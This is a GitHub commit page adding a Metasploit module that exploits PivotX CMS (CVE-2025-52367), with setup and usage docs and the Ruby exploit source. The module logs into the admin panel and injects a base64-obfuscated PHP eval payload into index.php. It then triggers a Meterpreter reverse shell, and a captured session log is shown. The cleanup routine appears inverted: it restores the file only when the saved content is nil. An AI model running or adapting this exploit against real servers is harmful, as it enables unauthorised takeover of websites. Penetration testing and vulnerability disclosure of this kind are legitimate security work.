Skip to content

Commit 8251d89

Browse files
authored
Merge pull request #20400 from msutovsky-r7/exploit/pivotx-rce
Adds module for PivotX RCE (CVE-2025-52367)
2 parents 3e882a3 + 0273f14 commit 8251d89

File tree

2 files changed

+218
-0
lines changed

2 files changed

+218
-0
lines changed
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
## Vulnerable Application
2+
3+
PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general.
4+
It's written in PHP and uses MySQL or flat files as a database.
5+
6+
Install steps:
7+
8+
1. Install Apache2, MySQL, PHP8.2+
9+
1. `git clone https://github.com/pivotx/PivotX.git`
10+
1. Move `PivotX` to webfolder
11+
1. Run the following from the web folder `sudo chown -R www-data:www-data ./`
12+
13+
## Verification Steps
14+
15+
1. Install the application
16+
1. Start msfconsole
17+
1. Do: `use exploit/linux/http/pivotx_rce`
18+
1. Do: `set USERNAME [PivotX username]`
19+
1. Do: `set PASSWORD [PivotX password]`
20+
1. Do: `set RHOSTS [target IP]`
21+
1. Do: `set LHOST [attacker IP]`
22+
1. Do: `run`
23+
24+
## Options
25+
### USERNAME
26+
27+
PivotX username.
28+
29+
### PASSWORD
30+
31+
PivotX password.
32+
33+
## Scenarios
34+
35+
```
36+
msf exploit(linux/http/pivotx_index_php_overwrite) > run verbose=true
37+
[*] Started reverse TCP handler on 192.168.168.128:4444
38+
[*] Running automatic check ("set AutoCheck false" to disable)
39+
[+] The target appears to be vulnerable. Detected PivotX 3.0.0.pre.rc3
40+
[*] Logging in PivotX
41+
[*] Modifying file and injecting payload
42+
[*] Triggering payload
43+
[*] Sending stage (40004 bytes) to 192.168.168.146
44+
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:36104) at 2025-08-01 09:38:52 +0200
45+
46+
[*] Restoring original content
47+
48+
meterpreter >
49+
meterpreter > sysinfo
50+
Computer : ubuntu
51+
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
52+
Meterpreter : php/linux
53+
meterpreter > getuid
54+
Server username: www-data
55+
56+
```
Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
8+
9+
include Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'PivotX Remote Code Execution',
17+
'Description' => %q{
18+
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [
22+
'HayToN', # security research
23+
'msutovsky-r7' # module dev
24+
],
25+
'References' => [
26+
[ 'EDB', '52361' ],
27+
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
28+
[ 'CVE', '2025-52367']
29+
],
30+
'Targets' => [
31+
[
32+
'Linux',
33+
{
34+
'Platform' => 'php',
35+
'Arch' => ARCH_PHP
36+
}
37+
]
38+
],
39+
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
40+
'DisclosureDate' => '2025-07-10',
41+
'DefaultTarget' => 0,
42+
'Notes' => {
43+
'Stability' => [CRASH_SAFE],
44+
'Reliability' => [REPEATABLE_SESSION],
45+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
46+
}
47+
)
48+
)
49+
register_options([
50+
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
51+
OptString.new('PASSWORD', [true, 'PivotX password', '']),
52+
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
53+
])
54+
end
55+
56+
def check
57+
res = send_request_cgi({
58+
'method' => 'GET',
59+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
60+
})
61+
62+
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200
63+
64+
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')
65+
66+
html_body = res.get_html_document
67+
68+
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
69+
70+
version = Rex::Version.new(Regexp.last_match(1))
71+
72+
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
73+
74+
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
75+
end
76+
77+
def login
78+
data_post = Rex::MIME::Message.new
79+
data_post.add_part('', nil, nil, %(form-data; name="returnto"))
80+
data_post.add_part('', nil, nil, %(form-data; name="template"))
81+
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
82+
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))
83+
84+
res = send_request_cgi({
85+
'method' => 'POST',
86+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
87+
'vars_get' => { 'page' => 'login' },
88+
'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
89+
'data' => data_post.to_s,
90+
'keep_cookies' => true
91+
})
92+
93+
fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]")
94+
fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
95+
96+
@csrf_token = Regexp.last_match(1)
97+
end
98+
99+
def modify_file
100+
res = send_request_cgi({
101+
'method' => 'GET',
102+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
103+
'vars_get' => { 'page' => 'homeexplore' }
104+
})
105+
106+
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
107+
108+
@base_dir = Regexp.last_match(1)
109+
110+
res = send_request_cgi({
111+
'method' => 'GET',
112+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
113+
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
114+
})
115+
116+
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200
117+
118+
@original_value = res.get_html_document.at('textarea')&.text
119+
120+
fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value
121+
122+
res = send_request_cgi({
123+
'method' => 'POST',
124+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
125+
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
126+
})
127+
128+
fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
129+
end
130+
131+
def trigger_payload
132+
send_request_cgi({
133+
'method' => 'POST',
134+
'uri' => normalize_uri(target_uri.path, 'index.php')
135+
})
136+
end
137+
138+
def restore
139+
res = send_request_cgi({
140+
'method' => 'POST',
141+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
142+
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
143+
})
144+
vprint_status('Restoring original content')
145+
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
146+
end
147+
148+
def cleanup
149+
super
150+
# original content can be any string, it cannot be nil
151+
restore if @original_value.nil?
152+
end
153+
154+
def exploit
155+
vprint_status('Logging in PivotX')
156+
login
157+
vprint_status('Modifying file and injecting payload')
158+
modify_file
159+
vprint_status('Triggering payload')
160+
trigger_payload
161+
end
162+
end

0 commit comments

Comments
 (0)